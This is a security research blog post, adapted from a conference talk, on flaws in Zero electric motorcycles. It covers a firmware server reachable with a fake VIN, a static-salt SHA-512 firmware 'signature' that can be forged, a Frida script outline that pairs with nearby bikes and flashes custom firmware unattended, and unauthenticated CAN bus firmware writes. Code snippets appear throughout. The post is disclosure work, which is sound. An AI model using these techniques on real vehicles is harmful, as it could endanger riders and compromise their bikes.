Zero Days: Electric Motorcycles are a Security Nightmare
This post was adapted from a talk given by myself and Mitchell Marasch at BSides Seattle 2026 on behalf of Bureau Veritas Cybersecurity North America, formerly Security Innovation
Motorcycles are cool. Electric motorcycles are even cooler, especially if you’re a filthy ecosocialist like me. Unfortunately, like any new and developing technology, they are plagued with security vulnerabilities purely due to the fact that they’re too new to have been subject to as much malicious scrutiny as older technologies.
Around the end of 2025 and the beginning of 2026, Mitchell Marasch and I performed a security assessment of the Zero Motorcycles Android app, which quickly ballooned into an assessment of their PCB potting strategies and bike firmware. And fam, the results were bad. We were able to bypass authentication, sign arbitrary firmware, and even pseudocoded out The Malware That Kills You Instantly. But that’s getting ahead of ourselves.
Depotting Attempts
Let’s start with looking at the physical hardware. To spoil the ending a bit, this didn’t really go anywhere besides demonstrating Zero’s bizarre security posture, but is nonetheless instructive.
To analyze the hardware security we needed some hardware to analyze. Since a $20,000 motorcycle was out of our budget, especially if we were just going to do terrible things to its insides, we initially tried buying an MBB (Main Bike Board, the brains of the motorcycle) from an authorized retailer. We found a retailer selling exactly what we needed on special order for $400, and put in an order. But there was a catch: the order could only be finallized with confirmation of the VIN number of the bike you’re ordering it for. I suspect this was intended as a supply-chain safety mechanism against someone doing exactly what we were trying to do (or perhaps just to deter resellers) but after some emails back and forth with the vendor, we were informed that Zero had cancelled our order and we would be refunded the money spent.
Luckily, Ebay exists. We were able to find a MBB being sold on Ebay for about the same price as had been the one from the vendor (although for a slightly older model of bike,) and proceeded onward. When the board finally arrived I got to work disassembling it.

In the clutches of a vice
It turned out that the actual PCB was matryoshka’d: the board was encased in resin, which was itself encased in an ABS plastic shell. The shell I could just pop off, but the resin was more of a challenge.

Removing the ABS shell
I had read online that you could dissolve potting resin with Methylene Chloride (aka Dichloromethane, \(CH_2Cl_2\)), so we bought some, poured it into a bowl, immersed the MBB in it, and waited. Nothing happened. Or rather, not nothing, we got some lovely crystal growth, but the resin stayed solid.

Crystal growth
It turned out, and this may shock you so brace yourself, that the internet had been wrong about something. Or I had misread an article. But either way! After much more research I was able to construct this flowchart of correct depotting methodology, so that future hardware hackers will not repeat my mistakes:
Flowchart of depotting methodology
To summarize: There are three primary materials that PCBs can be encapsulated with: polyurethane; epoxy; and silicone. Of these, silicone is usually the easiest to remove, as it is intentionally flexible and can develop tears that can allow a silicone encapsulation to be peeled off. If you can’t peel off the silicone, use either a silicone digestant such as PROSOCO Dicone NC9 or DOWSIL DS-2025, or xylene. Xylene should be used only as a last resort and only outdoors or in well ventilated conditions, as it is both highly flammable and a CNS depressant, and long-term exposure may lead to headaches, irritability, depression, insomnia, agitation, extreme tiredness, tremors, hearing loss, impaired concentration and short-term memory loss.
Epoxy, which I had implicitly assumed was what the board was potted with, is the second-easiest to remove. While still not “easy,” cured epoxies may be removed with methylene chloride, concentrated sulfuric acid, or methyl ethyl ketone.
Finally, polyurethane, which by process of elimination was what the PCB was actually potted with, is difficult enough to remove that there’s a 1981 patent describing a novel mixture trying to accomplish just that. In short, while some polyurethanes may be removed with methyl ethyl ketone, generally you need a mixture of three co-reagents.
| Chemical Name | Chemical Formula | % by Volume |
|---|---|---|
| Methylene Chloride (Dichloromethane) | \(CH_2Cl_2\) | 70% |
| Dimethyl formamide | \(HCON(CH_3)_2\) | 20% |
| Methanol | \(CH_3OH\) | 10% |
While probably effective, its ingredients make this a class 2 carcinogen, a class 1 skin irritant, and highly flammable – not to mention $200 for about a liter and a half. I’d rather not get skin-irritating cancer for this project, so we set the depotting aside for the moment.
Android App
One of the things that first drew us to this project was Zero motorcycles’ OTA update capability. The bikes are equipped with both bluetooth and 4G LTE capabilities, and you can update your bike’s firmware directly from the accompanying app.

Screenshot of Zero website, 1/16/2026

Normal update flow
Because the app manages firmware updates, that seemed like a good next step after failing to de-pot the MBB directly. The app itself can be downloaded from Google Play, and then pulled from your phone to your computer with ADB. Opening it up in JADX and starting to poke around, we immediately strike gold in the BuildConfig: the URL and bearer token for the firmware update server, as well as what looks like some dummy credentials for some Starcom service.1

com.zeromotorcycles.nextgen.BuildConfig
The actual app logic for deciding when and how to download firmware is a bit complicated, but once it passes all its checks (that happen only within the app) it boils down to 6 lines of decompiled Java in com.zeromotorcycles.nextgen.service.FirmwareDownloadApiService
| |
This tells us that to download the firmware for ourselves, we only need to send a GET request with the correct Authorization and User-Agent headers, and whatever “param” refers to. In com.zeromotorcycles.nextgen.legacy.data.firmware.FirmwareChecker we find this function for downloading firmware, and now we know how all the necessary pieces fit together.
private final void makeNewBuildPackageRequest(final String version) {
String localBaseBuildDirectory = Fup.INSTANCE.getLocalBaseBuildDirectory(this.mContext, version);
RequestQueue requestQueue = BaseApplication.INSTANCE.getRequestQueue();
StringCompanionObject stringCompanionObject = StringCompanionObject.INSTANCE;
String strM3834d0 = AbstractC2955a.m3834d0(new Object[0], 0, AbstractC2955a.m3810P("https://fota-server.zeromotorcycles.com/update/", version), "format(format, *args)");
Log.d("FirmwareChecker", "baseFupDir: " + localBaseBuildDirectory);
Log.d("FirmwareChecker", "makeNewBuildPackageRequest: " + strM3834d0);
Log.d("checkworking", "internal" + version);
ZipRequest zipRequest = new ZipRequest(0, strM3834d0, new ZipRequest.ZipRequestResponseListener<List<? extends String>>() { // from class: com.zeromotorcycles.nextgen.legacy.data.firmware.FirmwareChecker$makeNewBuildPackageRequest$request$1
@Override // com.zeromotorcycles.nextgen.legacy.utility.ZipRequest.ZipRequestResponseListener
public /* bridge */ /* synthetic */ void onResponse(List<? extends String> list, Map map, String str) {
onResponse2((List<String>) list, (Map<String, String>) map, str);
}
/* renamed from: onResponse, reason: avoid collision after fix types in other method */
public void onResponse2(@NotNull List<String> files, @Nullable Map<String, String> responseHeaders, @NotNull String fileSha) {
String str;
Intrinsics.checkNotNullParameter(files, "files");
Intrinsics.checkNotNullParameter(fileSha, "fileSha");
Timber.m7699d("FUP onResponse", new Object[0]);
Log.d("FirmwareChecker", ": FirmwareCheckerwas here" + files.size() + "...");
if (this.f7541a.mListener.listenerContextStillExists()) {
if (responseHeaders != null && (str = responseHeaders.get("ZeroSha512")) != null) {
if (!(str.length() == 0)) {
String upperCase = str.toUpperCase();
Intrinsics.checkNotNullExpressionValue(upperCase, "this as java.lang.String).toUpperCase()");
if (!Intrinsics.areEqual(upperCase, fileSha)) {
this.f7541a.mListener.onFupServerBOMDownloadError(C2507R.string.firmware_intro_bad_package);
return;
}
}
}
this.f7541a.checkForBuildPackage(version);
}
}
}, new Response.ErrorListener() { // from class: com.zeromotorcycles.nextgen.o0.o
@Override // com.android.volley.Response.ErrorListener
public final void onErrorResponse(VolleyError volleyError) {
FirmwareChecker.m7776makeNewBuildPackageRequest$lambda10(this.f7709a, volleyError);
}
}, localBaseBuildDirectory);
zipRequest.addHeader("Authorization", FirmwareStepper.INSTANCE.getFupServerAuthHeaderValue());
zipRequest.addHeader("User-Agent", "ZeroMoto/1.0");
AuthLoginToken authLoginToken = this.mLoginToken;
if (authLoginToken != null) {
Intrinsics.checkNotNull(authLoginToken);
zipRequest.addHeader("ZeroAPIAuth", authLoginToken.token);
}
Log.d("FirmwareChecker", ": request.." + zipRequest);
requestQueue.add(zipRequest);
Timber.m7699d("Making Request For Build Package " + version, new Object[0]);
}Only the last part is important for our purposes: the last parameter is a firmware version number generated by FirmwareUpdateRequest. We could walk through this the right way: send a POST request to https://fota-server.zeromotorcycles.com/update/ with a fake VIN number generated using the information contained in the Unofficial Zero Manual and part numbers scoured from the internet, retrieve a response containing the current firmware version, and then send another request asking to download it
curl -s -X POST "https://fota-server.zeromotorcycles.com/update/" \
-H "Content-Type: application/json" \
-H "Authorization: Bearer: <<REDACTED>>" \
-H "User-Agent: ZeroMoto/1.0" \
-d '{
"clientIdentifier": { "name": "android", "version": "2.10.0" },
"vehicleIdentifier": { "vin": "538MFA51NCF012345" },
"ecu": [
{
"hardwarePartNumber": "40-08155",
"firmwarePartNumber": "75-08163",
"firmwareRevision": 30,
"ecuIdentifier": 0
},
{
"hardwarePartNumber": "40-08121",
"firmwarePartNumber": "75-08156",
"firmwareRevision": 20,
"ecuIdentifier": 1
}
],
"FOTAProtocol": { "version": "2.0" }
}' Check for available updates
{
"install": [
{
"hardwarePartNumber": "40-08155",
"firmwarePartNumber": "75-08163",
"firmwareRevision": "43",
"ecuIdentifier": 0,
"needsDealerUpdate": 0,
"updateAvailable": 1,
"bomNumber": "13"
},
{
"hardwarePartNumber": "40-08121",
"firmwarePartNumber": "75-08156",
"firmwareRevision": "26",
"ecuIdentifier": 1,
"needsDealerUpdate": 0,
"updateAvailable": 1,
"bomNumber": "13"
}
]
}Server response
curl -o firmware-bom13.zip \
"https://fota-server.zeromotorcycles.com/update/13" \
-H "Authorization: Bearer: <<REDACTED>>" \
-H "User-Agent: ZeroMoto/1.0"Download firmware
…or we could just guess a number, and the fact that it seems to be sequential revision numbers means that any low number will work. Version 13 is the newest though so let’s grab that.
This returns us a zip file, and upon unzipping it we see that it’s multiple firmware binaries for multiple components, including the MBB and the bootloader. Interestingly, it also includes .map files for the MBB and BMU, which are linker map files generated by the ARM linker detailing memory layout. Basically it means that we can restore function names to the decompiled functions, rather than having to reverse engineer every single function and guess what it does.
βββ πfirmware-bom13
βββ πbin
βββ 75-08156-26_my19_bms_firmware_banka_2025-10-07_005422.13.bin
βββ 75-08156-26_my19_bms_firmware_bankb_2025-10-07_005422.13.bin
βββ 75-08163-43_my19_mbb_firmware_banka_2025-10-07_004928.13.bin
βββ 75-08163-43_my19_mbb_firmware_bankb_2025-10-07_004928.13.bin
βββ 75-08172-13_zero_bootloader_2025-10-07_011408.13.bin
βββ 75-08274-18_my22_bmu_firmware_banka_2025-10-07_010922.13.bin
βββ 75-08274-18_my22_bmu_firmware_bankb_2025-10-07_010922.13.bin
βββ 75-08296-03_zero_bootloader_2022-10-30_084045.418.bin
βββ 75-08383-43_my19_mbb_firmware_banka_2025-10-07_011443.13.bin
βββ 75-08383-43_my19_mbb_firmware_bankb_2025-10-07_011443.13.bin
βββ 75-08384-18_my22_bmu_firmware_banka_2025-10-07_011952.13.bin
βββ 75-08384-18_my22_bmu_firmware_bankb_2025-10-07_011952.13.bin
βββ 75-08385-03_zero_bootloader_2022-10-30_083906.418.bin
βββ 75-08386-13_zero_bootloader_2025-10-07_012446.13.bin
βββ πhex
βββ 75-08156-26_my19_bms_firmware_banka_2025-10-07_005422.13.hex
βββ 75-08156-26_my19_bms_firmware_bankb_2025-10-07_005422.13.hex
βββ 75-08163-43_my19_mbb_firmware_banka_2025-10-07_004928.13.hex
βββ 75-08163-43_my19_mbb_firmware_bankb_2025-10-07_004928.13.hex
βββ 75-08172-13_zero_bootloader_2025-10-07_011408.13.hex
βββ 75-08274-18_my22_bmu_firmware_banka_2025-10-07_010922.13.hex
βββ 75-08274-18_my22_bmu_firmware_bankb_2025-10-07_010922.13.hex
βββ 75-08296-03_zero_bootloader_2022-10-30_084045.418.hex
βββ 75-08383-43_my19_mbb_firmware_banka_2025-10-07_011443.13.hex
βββ 75-08383-43_my19_mbb_firmware_bankb_2025-10-07_011443.13.hex
βββ 75-08384-18_my22_bmu_firmware_banka_2025-10-07_011952.13.hex
βββ 75-08384-18_my22_bmu_firmware_bankb_2025-10-07_011952.13.hex
βββ 75-08385-03_zero_bootloader_2022-10-30_083906.418.hex
βββ 75-08386-13_zero_bootloader_2025-10-07_012446.13.hex
βββ πmap
βββ 75-08163-43_my19_mbb_firmware_banka_2025-10-07_004928.13.map
βββ 75-08163-43_my19_mbb_firmware_bankb_2025-10-07_004928.13.map
βββ 75-08274-18_my22_bmu_firmware_banka_2025-10-07_010922.13.map
βββ 75-08274-18_my22_bmu_firmware_bankb_2025-10-07_010922.13.map
βββ 75-08383-43_my19_mbb_firmware_banka_2025-10-07_011443.13.map
βββ 75-08383-43_my19_mbb_firmware_bankb_2025-10-07_011443.13.map
βββ 75-08384-18_my22_bmu_firmware_banka_2025-10-07_011952.13.map
βββ 75-08384-18_my22_bmu_firmware_bankb_2025-10-07_011952.13.map
βββ .DS_Store
βββ info.jsonFirmware zip contents
Unfortunately it’s at this point we should mention that the Zero website has a FAQ that includes the question, “can this be hacked” and answers “No.” Nominally this has something to do with needing a VIN to ask the server if there are any downloads available, but I think they’re only validating this against a regex, not a list of actually registered VINs because the “plausible” VIN we used above passed through with no issues. Anyway it can’t be hacked, so I guess we better give up now.

No hacking!
Firmware
Let’s open the firmware binaries in Ghidra. We need to know what the architecture of the chip is, so Ghidra knows how to decompile the binaries. In the armlink files there are references to the XMC4500 microcontroller (as well as the XMC4800 in other versions). Both of these are little-endian Cortex ARM systems, so we’re ready to go. A quick script to restore the symbol names to the functions:
# Reads armlink map files and applies symbols to Ghidra
#@author Mitchell Marasch
#@category _NEW_
#@keybinding
#@menupath
#@toolbar
#@runtime Jython
from ghidra.program.model.symbol import SourceType
from ghidra.app.cmd.function import CreateFunctionCmd
armlink_file = askFile("Select armlink .map file", "Open")
seeking_to_symbols = True
symbols_found = 0
symbols_applied = 0
symbols_failed = 0
print("=" * 60)
print("Starting symbol import from: " + armlink_file.absolutePath)
print("=" * 60)
# Get the function manager and symbol table
fm = currentProgram.getFunctionManager()
st = currentProgram.getSymbolTable()
for line in file(armlink_file.absolutePath):
if seeking_to_symbols:
if "Symbol Name" in line:
seeking_to_symbols = False
continue
if "=================================================" in line:
break
if "[Anonymous Symbol]" in line or ".L.str." in line:
continue
if "Thumb Code" in line:
parts = line.split()
if len(parts) < 2:
continue
function_name = parts[0]
addr_str = parts[1]
try:
function_address = toAddr(addr_str)
except:
print("ERROR: Could not parse address: " + addr_str)
symbols_failed += 1
continue
symbols_found += 1
# Check if there's already a function at this address
existing_func = fm.getFunctionAt(function_address)
if existing_func is not None:
# Rename the existing function
old_name = existing_func.getName()
try:
existing_func.setName(function_name, SourceType.IMPORTED)
symbols_applied += 1
if symbols_applied <= 20: # Only print first 20 to avoid spam
print("Renamed: " + old_name + " -> " + function_name + " at " + str(function_address))
except Exception as e:
print("ERROR renaming " + old_name + " to " + function_name + ": " + str(e))
symbols_failed += 1
else:
# Try to create a new function
try:
func = createFunction(function_address, function_name)
if func is not None:
symbols_applied += 1
if symbols_applied <= 20:
print("Created: " + function_name + " at " + str(function_address))
else:
# Function creation returned None - might be in middle of existing function
# Try to just add a label instead
st.createLabel(function_address, function_name, SourceType.IMPORTED)
symbols_applied += 1
if symbols_applied <= 20:
print("Label: " + function_name + " at " + str(function_address))
except Exception as e:
print("ERROR creating " + function_name + " at " + str(function_address) + ": " + str(e))
symbols_failed += 1
print("=" * 60)
print("Import complete!")
print("Symbols found in map file: " + str(symbols_found))
print("Symbols applied: " + str(symbols_applied))
print("Symbols failed: " + str(symbols_failed))
print("=" * 60)Ghidra Jython script
Just clicking around and searching program text for concerning strings, we find some easy hits: a hardcoded string reading “TODO:changeThisS,” which I figured out later is the static salt of an authentication handler that handles developer access to the firmware. So a great start.

TODO:changeThisS
Next, reference to a passcode server: "log in to ZeroPasscodeServer and run zeropasscode %d\n" "If you do not have a login, talk to Will\n". The function these are included in is interesting, and we’ll get back to it, but in the mean time let’s do some good old-fashioned OSINT to find Will. It took about a minute.
Talk to Will Hi, Will!

NOTE: Starting from here, some of the decompilation and analysis makes use of Claude code via the Ghidra and JADX MCP servers. I don’t support generative AI, but neither I nor Mitchell are proficient enough in C to do the sort of intensive Ghidra reversing this project required on our own. As this was a research project rather than a commissioned engagement on behalf of Zero itself, we were the only two engineers who worked on it (i.e., we did not have a full team that would have included a dedicated C dev) and several of these findings were discovered relatively late and therefore had time pressure to develop them. I am increasingly being asked to use and interact with AI, both adversarially and collaboratively, for my job functions: it’s an unfortunate part of the current state of the world that I wish I could avoid contributing to.
Jegham et al. (2025) notes that, “Although large language models consume significantly less energy, water, and carbon per task than human labor (Ren et al., 2024), these efficiency gains do not inherently reduce overall environmental impact. As per-task efficiency improves, total AI usage expands far more rapidly, amplifying net resource consumption, a phenomenon aligned with the Jevons Paradox (Polimeni and Polimeni, 2006), where increased efficiency drives systemic demand. The acceleration and affordability of AI remove traditional human and resource constraints, enabling unprecedented levels of usage. Consequently, the cumulative environmental burden threatens to overwhelm the sustainability baselines that AI efficiency improvements initially sought to mitigate.”2
Generative AI is, in my opinion, bad and bad for you. It is demonstrably bad for the environment. And as I write this, Grok is being used to generate CSAM on a massive scale. Hopefully that statement will severely date this article by the time it’s published, but just as likely not.
Acknowledging that (to my shame) Claude was used here to deliver quick results should NOT be interpreted as an endorsement of its use, and I regret my part in perpetuating it.
Ok back to the “zeropasscodeserver” function. Unfortunately it’s in BMS firmware, and we don’t have a .map file for that, but we can look at function structure and make educated guesses for what to rename them based on that, especially in this case where most of the functions called are just print statements.
int ZeroBmsAuthRequestLogin(int bms_context, undefined4 level_string)
{
uint requested_level;
uint time_seed;
int challenge_code;
undefined4 session_token;
int result;
undefined1 challenge_buffer[32];
undefined4 buffer_size;
result = -1;
requested_level = ZeroBmsParseLoginLevel(level_string);
if (requested_level < 6) {
if (requested_level < 2) {
ZeroPrintf(s__s_is_not_a_valid_login_level, level_string);
}
else if (*(byte *)(bms_context + OFFSET_CURRENT_LOGIN_LEVEL) < requested_level) {
// Current level is lower than requested - need to authenticate
time_seed = ZeroGetSystemTicks();
time_seed = time_seed / TICKS_PER_AUTH_PERIOD;
buffer_size = 0x20;
// Generate random challenge from hardware RNG
result = ZeroGetRandomBytes(bms_context + OFFSET_RNG_CONTEXT, 0, challenge_buffer, &buffer_size);
if (result == 0) {
challenge_code = ZeroBmsGenerateAuthChallenge(challenge_buffer, time_seed, requested_level);
if (challenge_code == 0) {
ZeroPrintf(s_Zero_BMS_Authentication);
ZeroPrintf(s_Could_not_generate_question);
}
else {
if (requested_level == 2) {
// Level 2: Simple passcode authentication
ZeroPrintf(s_Zero_BMS_Authentication_question, challenge_code);
}
else {
// Level 3-5: Requires ZeroPasscodeServer
ZeroPrintf(s_Zero_BMS_Authentication);
ZeroPrintf(s_log_in_to_ZeroPasscodeServer_and, challenge_code);
ZeroPrintf(s_If_you_do_not_have_a_login__talk);
}
session_token = ZeroBmsGetSessionToken(bms_context);
result = ZeroBmsInitAuthSession(bms_context + OFFSET_CURRENT_LOGIN_LEVEL,
session_token,
challenge_buffer,
time_seed,
requested_level);
}
}
}
else {
// Already at or above requested level - just set it
*(char *)(bms_context + OFFSET_CURRENT_LOGIN_LEVEL) = (char)requested_level;
result = 0;
}
}
return result;
}Basically, the the BMS has a challenge/response auth mechanism that allows you to log in with different privilege levels. You (a hardworking Zero developer) ask to log in to a certain level; the bike prompts you with a challenge code; you use your helpful response generator tool ("log in to ZeroPasscodeServer and run zeropasscode %d") which tells you the correct response; you enter the response code on the bike. But critically, the bike knows what response it’s waiting for, so if we can reverse that logic we should be able to write our own challenge responder tool.
Auth flow of the passcode challenge/response functions
The bike generates a semi-random challenge code based on the timestamp and random data. Then, to compute the correct challenge response, it computes SHA512(formatted_challenge || secret), where the secret is one of two values depending on what level of authentication is being requested. Finally, it takes the first 4 bytes of the hashed value as little-endian uint32, and takes the modulo (mod 1000000) of the result. With this we can write a script to generate valid responses to log us in at any level.
That’s fun but it’s not juicy.
We know the bootloader has to be able to receive, validate, and implement firmware updates, because remember we know we can update the Zero’s firmware from our phone. Let’s look into that.
Because we were able to restore the function names to the MBB and BMU firmware binaries, we can click around fairly easily to see what’s going on. Upon receiving BLE packets indicating the start of a firmware file from the paired phone, the bike downloads it and saves it to SPI and MCU flash. The expected SHA-512 hash (64 bytes) is received separately. The bike then checks that the hash of the file it received is the same as the hash it received. This memcmp check is THE ONLY verification it does of the downloaded firmware.
int prvZeroMbbFwUpdateCheckNewImageHashOnboardFlash(void* update_context, int image_index) {
uint8_t computed_hash[64];
// Get flash address and firmware size
uint8_t bank = *((uint8_t*)update_context + 0x224);
uint32_t flash_addr = ZeroFlashGetBankStartAddress(bank);
uint32_t firmware_size = *(uint32_t*)(image_desc + 4);
// Stop watchdog - hash takes a while
ZeroMcuStopWdt();
// Compute SHA-512(firmware_data || salt)
ZeroSHA512HashCompute(flash_addr, firmware_size, computed_hash);
ZeroMcuStartWdt();
// Get expected hash from update context
uint8_t* expected_hash = (uint8_t*)update_context + 0x228;
// THE ONLY VERIFICATION: 64-byte memcmp
if (memcmp(computed_hash, expected_hash, 64) == 0) {
return 0; // SUCCESS - hashes match
}
// Print debug info on mismatch
ZeroPrintf("Expected hash:");
for (int i = 0; i < 64; i++) {
ZeroPrintf("0x%02x", expected_hash[i]);
}
ZeroPrintf("Computed hash:");
for (int i = 0; i < 64; i++) {
ZeroPrintf("0x%02x", computed_hash[i]);
}
ZeroPrintf("Could not match hash");
return -1; // FAILURE
}prvZeroMbbFwUpdateCheckNewImageHashOnboardFlash
Once it has “verified” the authenticity of the firmware, it installs it to the MBB, BMU3, or BMS.
| Function | Address | Size | Purpose |
|---|---|---|---|
ZeroMbbFwUpdateInstallDownloadedImages | 0x08035A95 | 660 bytes | Main install entry point |
prvZeroMbbFwUpdateInstallMbbImage | 0x08064B51 | 140 bytes | Install MBB firmware |
prvZeroMbbFwUpdateInstallBmsImage | 0x08064A61 | 240 bytes | Install BMS/BMU firmware |
As for the hash that it checks, that’s just the salted SHA512 of the firmware, and once again the salt is hardcoded into memory, and static across all bikes and all ECUs, meaning that we can calculate our own firmware signature with seven lines of python.
import hashlib
SALT = b"<REDACTED>"
def compute_zero_firmware_hash(firmware_bytes):
"""Compute the SHA-512 hash expected by Zero Motorcycles firmware."""
h = hashlib.sha512()
h.update(firmware_bytes)
h.update(SALT)
return h.digest() # 64 bytesTo update the BMS and BMU, the MBB communicates with the boards over the CAN interface, and the BMS/BMU performs no additional validation of the firmware that is sent to it.
To summarize, see the below diagram.
The Firmware validation process
Finally, the BMS and BMU can be updated via a direct CAN bus connection over OBD-2. Decompiling ZeroMbbCommandBmsGoToBootloader from the MBB revealed that the bike uses two distinct protocols for CAN communication: it uses the CANopen SDO protocol for configuration and control commands between ECUs during normal operation, but switches to a custom protocol using extended 29-bit CAN IDs while in Bootloader Mode for transferring firmware.
Firmware upload over CAN
Critically, however, neither protocol includes any authentication: anyone with access to the CAN bus can send SDO commands, and the Bootloader Mode protocol similarly has no challenge/response or per-message authentication.
Attacks
We now have broadly five interconnected potential attack vectors we could pursue: we could maliciously patch the firmware; we could mess with the phone app and try to get it to deliver that firmware; We could try to spearphish Will Brunner into giving us access to the authentication server; we could try to socially engineer end users to download our own malicious app somehow; or we could try to hack the OTA update server to attack every app everywhere. Of these, the last three we decided were outside the scope of the project and/or illegal.
That left us with hacking the Android apk or the firmware.
Frida
In normal usage, the app prompts you for a VIN number in order to pair with your bike. But is that actually necessary to connect with the bike, or just a shallow defense mechanism against the average user trying to connect to someone else’s bike (she asked, rhetorically)? Yes dear reader, it turns out that the VIN is not meaningfully used at all in the bike pairing flow besides as a roadblock. Which means that we can just navigate around it.
In fact, (as we confirmed from more reversing of the firmware side of the connection architecture) not only is the VIN not necessary, even the bluetooth MAC address of the phone isn’t strictly allowlisted on the firmware side after a successful pairing. Which means that we can potentially connect to any bike, regardless of whether or not it’s been paired with a different phone before.
So we created a Frida script.
The attack flow of the Frida script
The script has five stages: Navigation, Scanning, Pairing, Detection, and Injection, and keeps track of its progress with a shared state object.
Navigation
On opening the Zero phone app, you are immediately taken past the VIN check to the ConnectActivity, which is the part of the app where you would normally wait for the bluetooth connection to pair with your bike.
MainActivity.onCreate.implementation = function(bundle) {
this.onCreate(bundle); // Call original
// Use RouterService to navigate (bypasses VIN check)
Java.choose('RouterService', {
onMatch: function(router) {
router.navigateToConnectActivity(activity);
State.hasNavigated = true;
}
});
};Scanning
Instead of sticking with just our bike, however, we use the app’s built-in bluetooth libraries and call android.bluetooth.BluetoothDevice and android.bluetooth.BluetoothGatt to scan for any Zero motorcycle within bluetooth range. If it finds any, it overloads the default com.zeromotorcycles.nextgen.ui.connect.ConnectFindViewModel class with logic that essentially just lets us keep track of bikes we’ve found in this scan.
Pairing
After scanning, it spams pairing requests to all the bikes it found. Normally Android will display a prompt (like when you pair with a smart TV) along the lines of “Pair with ZeroMotorcycles? Compare: 123456”, but we intercept that setPairingConfirmation() and always responds true. When we get a callback to com.zeromotorcycles.nextgen.service.ZeroMotorcycleServiceImpl$connectionCallback$1 indicating that the bluetooth has connected, we overload that function as well to set the state variables for our next phase.
Detection
The script waits for a successful pairing/bond, which it detects via intercepting the android.bluetooth.device.action.BOND_STATE_CHANGED broadcast.
Injection
Upon a successful pairing, Frida takes our custom firmware binary, confirms that it’s correctly signed with the static signing salt (and re-signs it if not), then sends it to the bike. The entire process happens without any required user interaction.
The one caveat is that the bike have never paired with a phone before or be in pairing mode, which is barely a caveat at all. If the bike has never paired with a phone before, the attack should be able to flash firmware to any powered-on bike with the kickstand down. If the bike has paired with a phone before, it needs to be put into pairing mode first, but that’s simply a matter of turning the key to “ON” and holding the “MODE” button for 5 seconds.
The attack chain relies on a number of misconfigurations of the bike security, the repair of any of which would significantly hinder its viability. In addition to the connection activity being accessible via forced browsing which bypasses the requirement for VIN entry, the MBB bootloader accepts connections from any paired device without validating the MAC address against an allowlist storing the address of the phone belonging to the bike’s owner etc. Finally, the firmware is signed using a trivially-forgeable SHA-512 with a static salt as the only firmware verification, rather than using asymmetric encryption for OTA update signing, which would have rendered us functionally unable to forge a signature.
CAN Bus
In some senses, attacking over CAN is just a slightly harder way to pwn the bike slightly less – only the battery control mechanisms (the BMS and BMU) can be written to over CAN, not the MBB. That said, it’s also completely unauthenticated, not even requiring the nominal security that the Bluetooth firmware upload relies on.
This isn’t because there’s no way to secure CAN communications, mind you. A strong implementation (and in fact, the industry standard) would involve two CAN security features, in addition to the implementation of firmware-level unique keys and ECDSA/RSA firmware signing. UDS Service 0x29 (introduced in ISO 14229-1:2020) uses asymmetric PKI-based certificate exchange for user authentication, and AUTOSAR SecOC for per-message authentication and freshness validation, preventing replay attacks. While these modifications would add some additional time to the firmware write operations, the Arm Cortex-M4 core included in the ECU’s XMC4500 is very efficient at cryptographic functions and the total delta would likely be only about 6 seconds.4 5 6
Current vs Secure CAN bus packet structure
Because those protections aren’t in place, anyone with access to the bike’s OBD-2 port can write arbitrary firmware to the BMS and BMU. In the interests of fairness I will admit that there is a bit of security-by-obscurity/inaccessibility at play here: According to the Unofficial Zero Manual website, the location of the OBD-2 port varies by bike model, and is frequently quite inaccessible.
But enough about that, let’s get to hacking. For about $100, you can build a wifi-enabled CAN bus-enabled dongle complete with an OLED screen and onboard battery.
| Component | Description |
|---|---|
| Raspberry Pi Zero W 2 | With 40-pin GPIO header |
| PiOLED 128x32 | Adafruit I2C display (4-pin: VCC, GND, SDA, SCL) |
| PowerBoost 500C | Adafruit LiPo charger/boost (5-pin: BAT+, BAT-, 5V, GND, EN) |
| LiPo Battery | 3.7V 2000mAh with JST-PH connector |
| 10K Resistor | Pull-up for execute button |
| Arcade Button | Adafruit 3491 - 30mm Translucent Clear Arcade Button with LED (Execute) |
| Power Switch | Adafruit 917 - 16mm Rugged Metal On/Off Switch w/ White LED Ring |
| OBD-II CAN Connector | 3-pin terminal for CAN bus (CAN-H, CAN-L, GND) |
| CANable v2.0 | USB-CAN adapter (plugs into Pi via OTG) |
| USB OTG Cable | Micro USB to USB-A female |
We can write a (long but relatively simple) python controller script to run as a service on the RPi Zero W 2, that sends the “enter bootloder mode” and “write data” commands on a detected connection to the OBD-2 port and/or button press (excerpted below), et voilΓ , a $100 handheld wifi-enabled firmware-writing dongle. This is notably about 1/13th the cost of buying an official OBD-2 harness.
def _send_sdo_write(self, obj_index: int, subindex: int, value: int,
timeout: float = RESPONSE_TIMEOUT) -> bool:
"""
Send a CANopen SDO expedited download (write) command.
Uses standard 11-bit CAN IDs (not extended).
SDO TX: 0x600 + node_id
SDO RX: 0x580 + node_id
Args:
obj_index: CANopen object dictionary index (e.g., 0x2001)
subindex: Object subindex (e.g., 0x02)
value: Value to write (1-4 bytes, automatically sized)
timeout: Response timeout in seconds
Returns:
True if write acknowledged, False otherwise
"""
# Determine data size and command specifier
if value <= 0xFF:
cmd = SDO_DOWNLOAD_1BYTE
data_bytes = struct.pack('<B', value)
elif value <= 0xFFFF:
cmd = SDO_DOWNLOAD_2BYTE
data_bytes = struct.pack('<H', value)
else:
cmd = SDO_DOWNLOAD_4BYTE
data_bytes = struct.pack('<I', value)
# Build SDO frame: cmd + index(LE) + subindex + data
sdo_data = bytes([cmd]) + struct.pack('<H', obj_index) + bytes([subindex]) + data_bytes
sdo_data = sdo_data.ljust(8, b'\x00')
# SDO uses standard 11-bit CAN IDs
tx_id = SDO_TX_BASE + self.node_id
rx_id = SDO_RX_BASE + self.node_id
msg = can.Message(arbitration_id=tx_id, data=sdo_data, is_extended_id=False)
try:
self.bus.send(msg)
except can.CanError as e:
return False
# Wait for SDO response
start = time.time()
while time.time() - start < timeout:
response = self.bus.recv(timeout=0.1)
if response and response.arbitration_id == rx_id:
# Check for successful download response (0x60)
if len(response.data) >= 4:
resp_cmd = response.data[0]
resp_index = struct.unpack('<H', response.data[1:3])[0]
resp_subindex = response.data[3]
if (resp_cmd & 0xE0) == SDO_DOWNLOAD_RESP:
if resp_index == obj_index and resp_subindex == subindex:
return True
elif (resp_cmd & 0x80):
# SDO abort transfer
if len(response.data) >= 8:
abort_code = struct.unpack('<I', response.data[4:8])[0]
print(f"[!] SDO abort: 0x{abort_code:08X}")
return False
return FalseThe heart of the CAN bus attack
Malicious Firmware
